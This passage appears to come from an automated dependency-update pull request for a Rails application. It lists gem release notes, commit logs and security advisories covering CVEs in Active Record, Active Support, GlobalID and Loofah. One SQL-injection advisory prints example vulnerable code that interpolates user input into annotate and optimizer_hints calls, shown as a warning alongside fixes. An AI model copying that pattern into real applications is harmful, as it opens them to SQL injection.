patches for the two supported release series. They are in git-am
format and consist of a single changeset.

• rails-ujs-data-method-contenteditable-6-1.patch - Patch for 6.1 series
• rails-ujs-data-method-contenteditable-7-0.patch - Patch for 7.0 series

Please note that only the 7.0.Z and 6.1.Z series are
supported at present, and 6.0.Z for severe vulnerabilities.

Users of earlier unsupported releases are advised to upgrade as
soon as possible as we cannot guarantee the continued availability
of security fixes for unsupported releases.

Credits
We would like to thank ryotak 15 for reporting this!

• rails-ujs-data-method-contenteditable-6-1.patch (8.5 KB)
• rails-ujs-data-method-contenteditable-7-0.patch (8.5 KB)
• rails-ujs-data-method-contenteditable-main.patch (8.9 KB)

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

🚨 Active Record logging vulnerable to ANSI escape injection

This vulnerability has been assigned the CVE identifier CVE-2025-55193

Impact

The ID passed to find or similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.

Releases

The fixed releases are available at the normal locations.

Credits

Thanks to lio346 for reporting this vulnerability

🚨 Active Record logging vulnerable to ANSI escape injection

This vulnerability has been assigned the CVE identifier CVE-2025-55193

Impact

The ID passed to find or similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.

Releases

The fixed releases are available at the normal locations.

Credits

Thanks to lio346 for reporting this vulnerability

🚨 Active Record logging vulnerable to ANSI escape injection

This vulnerability has been assigned the CVE identifier CVE-2025-55193

Impact

The ID passed to find or similar methods may be logged without escaping. If this is directly to the terminal it may include unescaped ANSI sequences.

Releases

The fixed releases are available at the normal locations.

Credits

Thanks to lio346 for reporting this vulnerability

🚨 Denial of Service Vulnerability in ActiveRecord's PostgreSQL adapter

There is a potential denial of service vulnerability present in ActiveRecord’s PostgreSQL adapter.

This has been assigned the CVE identifier CVE-2022-44566.

Versions Affected: All. Not affected: None. Fixed Versions: 5.2.8.15 (Rails LTS, which is a paid service and not part of the rubygem), 6.1.7.1, 7.0.4.1

Impact:
In ActiveRecord <7.0.4.1 and <6.1.7.1, when a value outside the range for a 64bit signed integer is provided to the PostgreSQL connection adapter, it will treat the target column type as numeric. Comparing integer values against numeric values can result in a slow sequential scan resulting in potential Denial of Service.
Releases

The fixed releases are available at the normal locations.
Workarounds

Ensure that user supplied input which is provided to ActiveRecord clauses do not contain integers wider than a signed 64bit representation or floats.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the supported release series in accordance with our maintenance policy 1 regarding security issues. They are in git-am format and consist of a single changeset.

6-1-Added-integer-width-check-to-PostgreSQL-Quoting.patch - Patch for 6.1 series
7-0-Added-integer-width-check-to-PostgreSQL-Quoting.patch - Patch for 7.0 series

🚨 SQL Injection Vulnerability via ActiveRecord comments

There is a possible vulnerability in ActiveRecord related to the sanitization of comments. This vulnerability has been assigned the CVE identifier CVE-2023-22794.

Versions Affected: >= 6.0.0 Not affected: < 6.0.0 Fixed Versions: 6.0.6.1, 6.1.7.1, 7.0.4.1
Impact

Previously the implementation of escaping for comments was insufficient for

If malicious user input is passed to either the annotate query method, the optimizer_hints query method, or through the QueryLogs interface which automatically adds annotations, it may be sent to the database with insufficient sanitization and be able to inject SQL outside of the comment.

In most cases these interfaces won’t be used with user input and users should avoid doing so.

Example vulnerable code:

Post.where(id: 1).annotate("#{params[:user_input]}")

Post.where(id: 1).optimizer_hints("#{params[:user_input]}")

Example vulnerable QueryLogs configuration (the default configuration is not vulnerable):

config.active_record.query_log_tags = [
  {
    something: -> { <some value including user input> }
  }
]

All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

Avoid passing user input to annotate and avoid using QueryLogs configuration which can include user input.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

6-0-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 6.0 series
6-1-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 6.1 series
7-0-Make-sanitize_as_sql_comment-more-strict.patch - Patch for 7.0 series

Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

🚨 Active Record RCE bug with Serialized Columns

When serialized columns that use YAML (the default) are deserialized, Rails uses YAML.unsafe_load to convert the YAML data in to Ruby objects. If an attacker can manipulate data in the database (via means like SQL injection), then it may be possible for the attacker to escalate to an RCE.

There are no feasible workarounds for this issue, but other coders (such as JSON) are not impacted.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

🚨 Rails has possible Sensitive Session Information Leak in Active Storage

Possible Sensitive Session Information Leak in Active Storage

There is a possible sensitive session information leak in Active Storage. By
default, Active Storage sends a Set-Cookie header along with the user's
session cookie when serving blobs. It also sets Cache-Control to public.
Certain proxies may cache the Set-Cookie, leading to an information leak.

This vulnerability has been assigned the CVE identifier CVE-2024-26144.

Versions Affected: >= 5.2.0, < 7.1.0
Not affected: < 5.2.0, > 7.1.0
Fixed Versions: 7.0.8.1, 6.1.7.7

Impact

A proxy which chooses to caches this request can cause users to share
sessions. This may include a user receiving an attacker's session or vice
versa.

This was patched in 7.1.0 but not previously identified as a security
vulnerability.

All users running an affected release should either upgrade or use one of the
workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

Upgrade to Rails 7.1.X, or configure caching proxies not to cache the
Set-Cookie headers.

Credits

Thanks to tyage for reporting this!

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

🚨 Active Support Possibly Discloses Locally Encrypted Files

There is a possible file disclosure of locally encrypted files in Active Support. This vulnerability has been assigned the CVE identifier CVE-2023-38037.

Versions Affected: >= 5.2.0 Not affected: < 5.2.0 Fixed Versions: 7.0.7.1, 6.1.7.5

Impact

ActiveSupport::EncryptedFile writes contents that will be encrypted to a temporary file. The temporary file’s permissions are defaulted to the user’s current umask settings, meaning that it’s possible for other users on the same system to read the contents of the temporary file.

Attackers that have access to the file system could possibly read the contents of this temporary file while a user is editing it.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Releases

The fixed releases are available at the normal locations.

Workarounds

To work around this issue, you can set your umask to be more restrictive like this:

$ umask 0077

🚨 Possible XSS Security Vulnerability in SafeBuffer#bytesplice

There is a vulnerability in ActiveSupport if the new bytesplice method is called on a SafeBuffer with untrusted user input.
This vulnerability has been assigned the CVE identifier CVE-2023-28120.

Versions Affected: All. Not affected: None Fixed Versions: 7.0.4.3, 6.1.7.3

Impact

ActiveSupport uses the SafeBuffer string subclass to tag strings as html_safe after they have been sanitized.
When these strings are mutated, the tag is should be removed to mark them as no longer being html_safe.

Ruby 3.2 introduced a new bytesplice method which ActiveSupport did not yet understand to be a mutation.
Users on older versions of Ruby are likely unaffected.

All users running an affected release and using bytesplice should either upgrade or use one of the workarounds immediately.

Workarounds

Avoid calling bytesplice on a SafeBuffer (html_safe) string with untrusted user input.

🚨 ReDoS based DoS vulnerability in Active Support's underscore

There is a possible regular expression based DoS vulnerability in Active Support. This vulnerability has been assigned the CVE identifier CVE-2023-22796.

Versions Affected: All Not affected: None Fixed Versions: 5.2.8.15 (Rails LTS, which is a paid service and not part of the rubygem), 6.1.7.1, 7.0.4.1
Impact

A specially crafted string passed to the underscore method can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability.

This affects String#underscore, ActiveSupport::Inflector.underscore, String#titleize, and any other methods using these.

All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.

Users on Ruby 3.2.0 or greater may be able to reduce the impact by configuring Regexp.timeout.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

6-1-Avoid-regex-backtracking-in-Inflector.underscore.patch - Patch for 6.1 series
7-0-Avoid-regex-backtracking-in-Inflector.underscore.patch - Patch for 7.0 series

Please note that only the 7.0.Z and 6.1.Z series are supported at present, and 6.0.Z for severe vulnerabilities. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

See the full diff on Github. The new version differs by 24 commits:

• Release 3.3.0
• Merge pull request #24 from casperisfine/update-ci
• File.exists? -> File.exist?
• Update CI configuration and gemspec
• Merge pull request #23 from Earlopain/ci-update
• Add Ruby 3.1-3.3 to CI
• Update readme and gemspec to point to rails/builder repo
• Merge pull request #9 from timkrins/patch-2
• Merge pull request #14 from hosamaly/patch-1
• Merge pull request #15 from voxik/remove-blankslate
• Merge pull request #16 from voxik/gh-actions
• Merge pull request #19 from kbrock/chmod
• Merge pull request #20 from kbrock/pr/64
• Merge pull request #21 from kbrock/pr/63
• Updated comments which are incorrect.
• Fix spelling mistake in example
• remove exec but from rdoc
• Drop Travis configuration.
• Setup GitHub actions.
• Use BasicObject instead of BlankSlate
• Update the changelog for v3.2.4
• Merge pull request #8 from orien/gem-metadata
• Add project metadata to the gemspec
• Fix spelling mistake

1.3.5

What's Changed

• Remove dependency on logger by @eregon in #1062
• Avoid error when member is present on ancestor class by @francesmcmullin in #1068
• Set rake-compiler source and target to Java 8 by @headius in #1071
• chore: fix typos by @chenrui333 in #1076

New Contributors

• @francesmcmullin made their first contribution in #1068
• @chenrui333 made their first contribution in #1076

Full Changelog: v1.3.4...v1.3.5

1.3.4

What's Changed

• Update comment for JRuby variant of processor_count to reality by @meineerde in #1054
• Add Concurrent.cpu_requests that is cgroups aware. by @heka1024 in #1058
• Fix the doc of Concurrent.available_processor_count by @y-yagi in #1059
• Fix the return value of Concurrent.available_processor_count when cpu.cfs_quota_us is -1 by @y-yagi in #1060

New Contributors

• @heka1024 made their first contribution in #1058
• @y-yagi made their first contribution in #1059

Full Changelog: v1.3.3...v1.3.4

1.3.3

What's Changed

• Improve speed for windows Get-CimInstance by @Earlopain in #1053

Full Changelog: v1.3.2...v1.3.3

1.3.2

What's Changed

• Fix method name in CHANGELOG.md by @nertzy in #1049
• Remove dependency on win32ole by @Earlopain in #1051

New Contributors

• @nertzy made their first contribution in #1049
• @Earlopain made their first contribution in #1051

Full Changelog: v1.3.1...v1.3.2

1.3.1

This release is essentially v1.3.0, but with a properly packaged gem. There was an issue publishing v1.3.0 and that gem needed to be yanked to avoid breaking downstream projects. The v1.3.0 changelog is reproduced below.

What's Changed

• Add Concurrent.usable_processor_count that is cgroups aware by @casperisfine in #1038
• Align Java Executor Service behavior for shuttingdown?, shutdown? by @bensheldon in #1042

New Contributors

• @dependabot made their first contribution in #1028
• @kkohrt made their first contribution in #1037

Full Changelog: v1.2.3...v1.3.1

1.2.3

What's Changed

• Fix TimerTask :execution_interval docs by @freemanoid in #994
• Fix TimerTask docs to not refer to #execute as "blocking" by @bensheldon in #996
• Fix TimerTask example output by @bensheldon in #1003
• Fix broken CI due to rake-compiler error on Ruby < 2.6 by @mattbrictson in #1007
• Fix doc typo: yeild → yield by @mattbrictson in #1006
• Fix DaemonThreadFactory - reuse single Java thread factory by @obulkin in #1009
• Fix sporadic failures testing with JRuby by @headius in #1012
• Allow TimerSet to safely handle an executor raising RejectedExecutionError by @bensheldon in #999
• Use executor from arg in then_on/rescue_on/chain_on for Promises by @tgwizard in #1005
• Allow TimerTask to be initialized with a specified Executor by @bensheldon in #1000
• Create method ThreadPoolExecutor#active_count to expose the number of threads that are actively executing tasks by @bensheldon in #1002
• Drop dependency on mutex_m by @casperisfine in #1013
• Fix compile error on FreeBSD 14 by @janbiedermann in #1014
• Fix spurious return in Promises#wait_until_resolved by @eregon in #1016
• Remove AtomicReferenceMapBackend and CheapLockable by @eregon in #1018
• Add Ruby 3.3 in CI by @eregon in #1021
• docs: fix typo in throttle docs by @G-Rath in #1024
• docs: update promises grammar by @G-Rath in #1026
• Add TimerTask#interval_type option to configure interval calculation by @bensheldon in #997

New Contributors

• @freemanoid made their first contribution in #994
• @bensheldon made their first contribution in #996
• @mattbrictson made their first contribution in #1007
• @obulkin made their first contribution in #1009
• @headius made their first contribution in #1012
• @tgwizard made their first contribution in #1005
• @janbiedermann made their first contribution in #1014
• @G-Rath made their first contribution in #1024

Full Changelog: v1.2.2...v1.2.3

1.2.2

concurrent-ruby 1.2.2:

• (#993) Fix arguments passed to Concurrent::Map's default_proc.

1.2.1

concurrent-ruby 1.2.1:

• (#990) Add missing require 'fiber' for FiberLocalVar.
• (#989) Optimize Concurrent::Map#[] on CRuby by letting the backing Hash handle the default_proc.

1.2.0

concurrent-ruby 1.2.0:

• (#975) Set the Ruby compatibility version at 2.3
• (#962) Fix ReentrantReadWriteLock to use the same granularity for locals as for Mutex it uses.
• (#983) Add FiberLocalVar
• (#934) concurrent-ruby now supports requiring individual classes (public classes listed in the docs), e.g., require 'concurrent/map'
• (#976) Let Promises.any_fulfilled_future take an Event
• Improve documentation of various classes
• (#972) Remove Rubinius-related code

concurrent-ruby-edge 0.7.0:

• (#975) Set the Ruby compatibility version at 2.3
• (#934) concurrent-ruby now supports requiring individual classes (public classes listed in the docs), e.g., require 'concurrent/map'
• (#972) Remove Rubinius-related code

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by more commits than we can show here.

1.13.1 (from changelog)

* Avoid spurious frozen string literal warnings for chilled strings when using Ruby 3.4 (jeremyevans)

1.13.0 (from changelog)

* Define Erubi.h as a module function (jeremyevans)

* Add erubi/capture_block, supporting capturing block output via standard <%= and <%== tags (jeremyevans)

1.12.0 (from changelog)

* Use erb/escape for faster html escaping if available (jeremyevans)

* Default :freeze_template_literals option to false if running with --enable-frozen-string-literal (casperisfine) (#35)

1.11.0 (from changelog)

* Support :freeze_template_literals option for configuring whether to add .freeze to template literal strings (casperisfine) (#33)

* Support :chain_appends option for chaining appends to the buffer variable (casperisfine, jeremyevans) (#32)

* Avoid unnecessary defined? usage on Ruby 3+ when using the :ensure option (jeremyevans)

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by 42 commits:

• Bump version to 1.13.1
• Use -W:strict_unused_block when running tests on Ruby 3.4+
• Avoid spurious frozen string literal warnings on Ruby 3.4.0-preview2
• Bump version to 1.13.0
• Add erubi/capture_block to the gem
• Adjust nocov markers
• Define Erubi.h as a module function
• Add erubi/capture_block, supporting capturing block output via standard <%= and <%== tags
• Restructure tests to make it so the same basic tests can be used for multiple engines
• Add Ruby 3.3 to CI and bump actions/checkout to v4
• Switch from hanna-nouveau to hanna
• Stop testing Ruby 2.2 in CI as it no longer works with ubuntu-latest
• Move to actions/checkout@v3
• Limit rake gem restriction in CI to Ruby <2.4
• Add CI for Ruby 3.2
• Bump version to 1.12.0
• Add nocov markings around use of erb/escape
• Add mailing_list_uri to the gem metadata
• Use erb/escape for faster html escaping if available
• Avoid unused variable verbose warning on JRuby in test
• Test JRuby 9.4 in CI
• Update memory footprint comparison
• Update CHANGELOG
• Disable freeze_template_literals if `--enable-frozen-string-literal`
• Bump version to 1.11.0
• Fix tests, update documentation and CHANGELOG
• Add `freeze_template_literals` option to avoid String#freeze
• Add chain_appends option to simplify VM instructions (Fixes #32)
• Add space after semicolon in generated output
• Avoid unnecessary defined? usage on Ruby 3+ when using the :ensure option
• Add a test for no tags with frozen source
• Tighten CI permissions
• Test Ruby 3.1 in CI
• Run specs in verbose mode on Ruby 3+
• Try Ruby 1.9.3, 2.0, and JRuby 9.3 on GitHub Actions
• Extract default regexp to Constant
• Stop using Travis
• Bump copyright year
• Start testing on truffleruby, and simplify ci.yml
• Test on ruby 3.0
• RANGE_ALL is not in use since 4dc81c210664bfa244c6015bb3aa034b29f5a66f
• Use GitHub Actions CI for supported Ruby versions

🚨 ReDoS based DoS vulnerability in GlobalID

There is a ReDoS based DoS vulnerability in the GlobalID gem. This vulnerability has been assigned the CVE identifier CVE-2023-22799.

Versions Affected: >= 0.2.1 Not affected: NOTAFFECTED Fixed Versions: 1.0.1
Impact

There is a possible DoS vulnerability in the model name parsing section of the GlobalID gem. Carefully crafted input can cause the regular expression engine to take an unexpected amount of time. All users running an affected release should either upgrade or use one of the workarounds immediately.
Releases

The FIXED releases are available at the normal locations.
Workarounds

There are no feasible workarounds for this issue.
Patches

To aid users who aren’t able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.

1-0-model-name-redos.patch - Patch for 1.0 series

1.2.0

What's Changed

• Drop support to Rails < 6.1 and Ruby <2.7 by @rafaelfranca in #153
• Don't show secrets for SignedGlobalID#inspect by @p8 in #160
• Allow for composite identifiers delimited by / by @nvasilevski in #163
• Add Eager Load Option by @rafacoello in #139

New Contributors

• @rafaelfranca made their first contribution in #153
• @p8 made their first contribution in #159
• @nvasilevski made their first contribution in #162
• @rafacoello made their first contribution in #139

Full Changelog: v1.1.0...v1.2.0

1.1.0

What's Changed

• URI::GID: Update #check_scheme, no need to call super by @alexcwatt in #146
• JSON-encode GlobalIDs as strings by @georgeclaghorn in #149
• Support pattern matching of GlobalID & GlobalID::URI by @ojab in #140
• prevent double find by @ooooooo-q in #148
• implement non signed global_id helper method on fixture set by @rainerborene in #144

New Contributors

• @daemonsy made their first contribution in #142
• @alexcwatt made their first contribution in #146
• @liijunwei made their first contribution in #150
• @ojab made their first contribution in #140
• @ooooooo-q made their first contribution in #148
• @rainerborene made their first contribution in #144

Full Changelog: v1.0.1...v1.1.0

1.0.1

Possible ReDoS based DoS vulnerability in GlobalID

There is a ReDoS based DoS vulnerability in the GlobalID gem. This
vulnerability has been assigned the CVE identifier CVE-2023-22799.

Versions Affected: >= 0.2.1
Not affected: NOTAFFECTED
Fixed Versions: 1.0.1

Impact

There is a possible DoS vulnerability in the model name parsing section of the
GlobalID gem. Carefully crafted input can cause the regular expression engine
to take an unexpected amount of time. All users running an affected release
should either upgrade or use one of the workarounds immediately.

Releases

The FIXED releases are available at the normal locations.

Workarounds

There are no feasible workarounds for this issue.

Credits

Thank you ooooooo_k for reporting this!

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by 72 commits:

• Prepare for 1.2.1
• Whitespaces
• Merge pull request #168 from ghiculescu/handle-no-primary-key
• Don't break on models where `primary_key` is not defined
• Prepare for 1.2.0
• Merge pull request #165 from rails/rm-json-serializer
• Change verifier to conform Rails 7.1 API
• Remove deprecation when default cache format is used
• Make sure legacy verifier behavior work with JSON serializer and symbol values
• Update the ruby extension to use Ruby LSP
• Merge pull request #164 from Shopify/uuid-locate-many-test
• [Tests only] Add `Locator#locate_many` tests for non `id` primary keys
• Merge pull request #139 from joserafa11/add-eager-load-feature
• Register global_id deprecator in the app
• Copy edit documentation
• Define GlobalID deprecator
• deprecate locate with one argument
• add eager load option
• Cleanup #163
• Merge pull request #163 from Shopify/ac-gid-cpk
• Allow for composite identifiers delimited by `/`
• Merge pull request #162 from Shopify/update-dev-dependencies
• Update development dependencies
• Merge pull request #160 from p8/security/gid-inspect
• Merge pull request #159 from p8/docs/document-identification-module
• Don't show secrets for SignedGlobalID#inspect
• Add RDoc documentation for `to_gid` and `to_sgid` methods
• Merge pull request #158 from rails/dependabot/bundler/rack-2.2.6.4
• Bump rack from 2.2.6.2 to 2.2.6.4
• Merge PR #107
• Default to new behavior but fallback parsing to old behavior
• Add tests to make sure the new behavior of checking on the verifier works
• Use ActiveSupport::MessageVerifier's expiry and purpose feature in SignedGlobalID.
• Merge pull request #153 from rails/rm-drop-unsupported-rails
• Drop support to all unsupported Ruby and Rails versions
• Drop support to Rails < 5.2
• Prepare for 1.1.0 release
• Upgrade development dependencies
• Merge pull request #154 from rails/dependabot/bundler/rack-2.2.6.2
• Bump rack from 2.2.5 to 2.2.6.2
• Bump version for release
• Fix ReDoS vulnerability in name parsing
• Update license year
• Simplify requires
• Upgrade checkout action to avoid warnings
• Upgrade development gems
• Test with Rails main
• Test with Rails 7.0
• Test with Ruby 3.1 and 3.2
• Remove warnings
• Merge pull request #144 from rainerborene/feature/fixture_set
• Merge pull request #148 from ooooooo-q/fix/prevent_double_find
• Use a single conditional instead of multiple exit wounds
• Merge pull request #152 from rails/dependabot/bundler/rails-html-sanitizer-1.4.4
• Merge pull request #140 from ojab/pattern_matching
• Merge pull request #150 from liijunwei/remove_test_order_check
• Merge pull request #149 from georgeclaghorn/json
• Bump rails-html-sanitizer from 1.4.3 to 1.4.4
• Remove test_order method check in test/helper.rb
• JSON-encode GlobalIDs as strings
• prevent double find
• Merge pull request #146 from alexcwatt/update-check_scheme
• URI::GID: Update #check_scheme, no need to call super
• Merge pull request #145 from rails/dependabot/bundler/rails-html-sanitizer-1.4.3
• Bump rails-html-sanitizer from 1.4.2 to 1.4.3
• feat(fixture_set): implement non signed global_id helper method
• Merge pull request #143 from rails/dependabot/bundler/rack-2.2.3.1
• Bump rack from 2.2.3 to 2.2.3.1
• Merge pull request #142 from daemonsy/main
• Use padding:false over gsub
• Support parrent matching of `GlobalID` & `GlobalID::URI`
• Require MFA when releasing this gem

1.14.7

What's Changed

• Ruby 3.4 Hash#inspect compatibility. by @voxik in #709
• Removed (annoying) post-install message that was triggering on all Rubies, rather than the specified versions.

Full Changelog: v1.14.6...v1.14.7

1.14.6

What's Changed

Ruby < 3.2 support will be dropped April 2025. Upgrade now to continue using i18n after that date.

• fix issues with RDoc generation by @davetron5000 in #698
• Fix loading of .rb locale files when load_path is not a string by @stevegeek in #701
• Fixes strings being interpolated multiple times by @alexpls in #699
• Optimize pluralization logic in test data by @zachmargolis in #697
• [FIX] Raise ArgumentError on nil key in exists? by @KinWang-2013 in #696

New Contributors

• @davetron5000 made their first contribution in #698
• @stevegeek made their first contribution in #701
• @alexpls made their first contribution in #699
• @zachmargolis made their first contribution in #697
• @KinWang-2013 made their first contribution in #696

Full Changelog: v1.14.5...v1.14.6

1.14.5

What's Changed

• Explicitly bundle racc gem for Ruby 3.3+ by @amatsuda in #690
• Optimize I18n::Locale::Fallbacks#[] for recursive locale mappings by @uiur in #692
• Add I18n.interpolation_keys by @tom-lord in #682
• Fix syntax in documentation for I18n::Backend::Base.interpolate by @tom-lord in #691
• Fix that escaped interpolations with reserved keywords raised ReservedInterpolationKey by @Bilka2 in #688

New Contributors

• @uiur made their first contribution in #692
• @tom-lord made their first contribution in #682
• @Bilka2 made their first contribution in #688

Full Changelog: v1.14.4...v1.14.5

1.14.4

What's Changed

Note: the racc dependency will be coming back in Version 2.

• undo strict racc dependency on this branch by @radar in #687

Full Changelog: v1.14.3...v1.14.4

1.14.3

What's Changed

• Pass options to along to exists? super calls by @radar in #671
• Improve TOKENIZER by 23% by @kbrock in #668
• Regex part deux - INTERPOLATION_SYNTAX by @kbrock in #669
• Raise when translated entry contains interpolations for reserved keywords and no substitutions provided by @fatkodima in #678
• Implement Fallbacks#inspect and Fallbacks#empty? by @fatkodima in #683

Upkeep

• Update mocha gem by @fatkodima in #677
• Update workflows by @yykamei in #684

New Contributors

• @kbrock made their first contribution in #668

Full Changelog: v1.14.1...v1.14.3

1.14.1

Included in this release

• Simplify the "Translation missing" message when default is an empty Array by @amatsuda in #662

Maintenance stuff

• Skip CIing on jruby against Rails 5.2 by @amatsuda in #664
• A fix for failing CI against edge Rails by @amatsuda in #663
• Add documentation hint for fallback values by @mark-a in #659
• CI against Ruby 3.2 by @amatsuda in #665
• Fix build warnings in the CI by using actions/checkout@v3 by @amatsuda in #666

Thanks to @amatsuda for these PRs!

New Contributors

• @mark-a made their first contribution in #659

Full Changelog: v1.14.0...v1.14.1

1.14.0

What's Changed

• fix LazyLoadable#available_locales duplicating locales by @ccutrer in #655
• Add more helpful translation error when :default option is provided. by @Nerian in #654
• Fix I18n::Locale::Fallbacks not initializing itself on Ruby 3 by @yheuhtozr in #653
• Fix I18n.t when locale contains separator by @tubaxenor in #656
  • This reverts a change from #651, that was released in v1.13.0

New Contributors

• @ccutrer made their first contribution in #655
• @Nerian made their first contribution in #654
• @yheuhtozr made their first contribution in #653
• @tubaxenor made their first contribution in #656

Full Changelog: v1.13.0...v1.14.0

1.13.0

What's Changed

• Fix symbol resolving with pluralization by @movermeyer in #636
• Updating DEFAULT_APPROXIMATIONS with capitalised German Eszett character for consistency by @lucapericlp in #627
• Fix load_path example in README.md by @nickcampbell18 in #642
• Add support for meridian indicators on Date objects by @movermeyer in #640
• Make translations loading thread-safe by @mensfeld in #644
• Get closer to full CLDR pluralization support by @movermeyer in #634
• Allow passing scope argument to exists? by @misdoro in #647
• Revert #503 changes for Backend::Base by @movermeyer in #637
• Properly stub constants by @fatkodima in #650
• Optimize I18n.t by @fatkodima in #651
• Return same string object when no interpolations were made by @fatkodima in #649

New Contributors

• @lucapericlp made their first contribution in #627
• @nickcampbell18 made their first contribution in #642
• @mensfeld made their first contribution in #644
• @misdoro made their first contribution in #647

Full Changelog: v1.12.0...v1.13.0

1.12.0

What's Changed

• Revert "Add support for CLDR data in I18n::Backend::Pluralization" by @radar in #633 -- this was causing breaking changes unintentionally.

Full Changelog: v1.11.0...v1.12.0

1.11.0

What's Changed

• Consistently return array from bulk lookup, even if translation(s) missing by @sambostock in #628
• Fix typos by @movermeyer in #631
• Add support for CLDR data in I18n::Backend::Pluralization by @movermeyer in #630

New Contributors

• @sambostock made their first contribution in #628

Full Changelog: v1.10.0...v1.11.0

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by more commits than we can show here.

🚨 Inefficient Regular Expression Complexity in Loofah

Summary

Loofah < 2.19.1 contains an inefficient regular expression that is susceptible to excessive backtracking when attempting to sanitize certain SVG attributes. This may lead to a denial of service through CPU resource consumption.

Mitigation

Upgrade to Loofah >= 2.19.1.

Severity

The Loofah maintainers have evaluated this as High Severity 7.5 (CVSS3.1).

References

• CWE - CWE-1333: Inefficient Regular Expression Complexity (4.9)
• https://hackerone.com/reports/1684163

Credit

This vulnerability was responsibly reported by @ooooooo-q (https://github.com/ooooooo-q).

🚨 Improper neutralization of data URIs may allow XSS in Loofah

Summary

Loofah >= 2.1.0, < 2.19.1 is vulnerable to cross-site scripting via the image/svg+xml media type in data URIs.

Mitigation

Upgrade to Loofah >= 2.19.1.

Severity

The Loofah maintainers have evaluated this as Medium Severity 6.1.

References

• CWE - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (4.9)
• SVG MIME Type (image/svg+xml) is misleading to developers · Issue #266 · w3c/svgwg
• https://hackerone.com/reports/1694173
• #101

Credit

This vulnerability was responsibly reported by Maciej Piechota (@haqpl).

🚨 Uncontrolled Recursion in Loofah

Summary

Loofah >= 2.2.0, < 2.19.1 uses recursion for sanitizing CDATA sections, making it susceptible to stack exhaustion and raising a SystemStackError exception. This may lead to a denial of service through CPU resource consumption.

Mitigation

Upgrade to Loofah >= 2.19.1.

Users who are unable to upgrade may be able to mitigate this vulnerability by limiting the length of the strings that are sanitized.

Severity

The Loofah maintainers have evaluated this as High Severity 7.5 (CVSS3.1).

References

• CWE - CWE-674: Uncontrolled Recursion (4.9)

Too many releases to show here. View the full release notes.

See the full diff on Github. The new version differs by more commits than we can show here.

See the full diff on Github. The new version differs by more commits than we can show here.

1.0.4

What's Changed

• Regression fix: binary declared type should fall back to filename extension type by @jeremy in #99

Full Changelog: v1.0.3...v1.0.4

1.0.3

What's Changed

• Prefer audio/ogg instead of audio/vorbis by @gmcgibbon in #65
• Suppress warning by @wonda-tea-coffee in #69
• Add explanation of MimeType.for's handling of argument types by @elebow in #68
• tables.rb: Generate UTF-8 strings when possible. by @casperisfine in #70
• Remove comment strings from Tables::TYPE by @casperisfine in #71
• Store MIME parents in a distinct Hash by @casperisfine in #72
• Fix magic detection for HTML with <svg by @ursm in #74
• Update gem name in Gemfile by @elebow in #88
• Move to GitHub Actions by @hahmed in #82
• Add note in README how to extend detection of custom file types by @vipulnsward in #93
• Fix Illustrator detection as application/pdf instead of application/illustrator by @jeremy in #94

New Contributors

• @wonda-tea-coffee made their first contribution in #69
• @elebow made their first contribution in #68
• @casperisfine made their first contribution in #70
• @ursm made their first contribution in #74
• @hahmed made their first contribution in #82
• @vipulnsward made their first contribution in #93
• @jeremy made their first contribution in #94

Full Changelog: v1.0.2...v1.0.3

Does any of this look wrong? Please let us know.

See the full diff on Github. The new version differs by 27 commits:

• Release v1.0.4
• Regression fix: binary declared type should fall back to filename extension type (#99)
• Release v1.0.3
• Fix Illustrator detection as application/pdf instead of application/illustrator
• CI: fix JRuby build
• Merge pull request #93 from vipulnsward/add-note
• Add note in README how to extend detection of custom file types
• Move CI to GitHub
• Update gem name in Gemfile
• Merge pull request #74 from ursm/fix-html-with-svg
• Fix magic detection for HTML with `<svg`
• Also deduplicate binary strings
• Merge pull request #72 from casperisfine/strip-empty-arrays
• Store MIME parents in a distinct Hash
• Require Ruby >= 2.3
• Merge pull request #71 from casperisfine/remove-type-comments
• Remove comment strings from Tables::TYPE
• Merge pull request #70 from casperisfine/utf8-table
• tables.rb: Generate UTF-8 strings when possible.
• Add frozen_string_literal: true
• Merge pull request #68 from Cofense/readme-explain-for-pathname-argument
• Document `Marcel::MimeType.for`
• Merge pull request #69 from wonda-tea-coffee/suppress-warning-unused-variable
• Suppress warning
• Merge pull request #65 from gmcgibbon/audio/ogg
• Fix decoded matcher comment on ms-access magic extension
• Prefer audio/ogg instead of audio/vorbis

See the full diff on Github. The new version differs by 13 commits:

• Update mime types from upstream and bump
• Version bump
• Handle MIME::Types differences on Windows
• Shim IO#pread when not supported
• Version bump
• Make the library fork safe and drop the mutex
• DB updates 2023-03-01T10:03:17Z (#49)
• Adds Ruby 3.2 to the CI matrix. Requires Ruby >= 2.6. (#48)
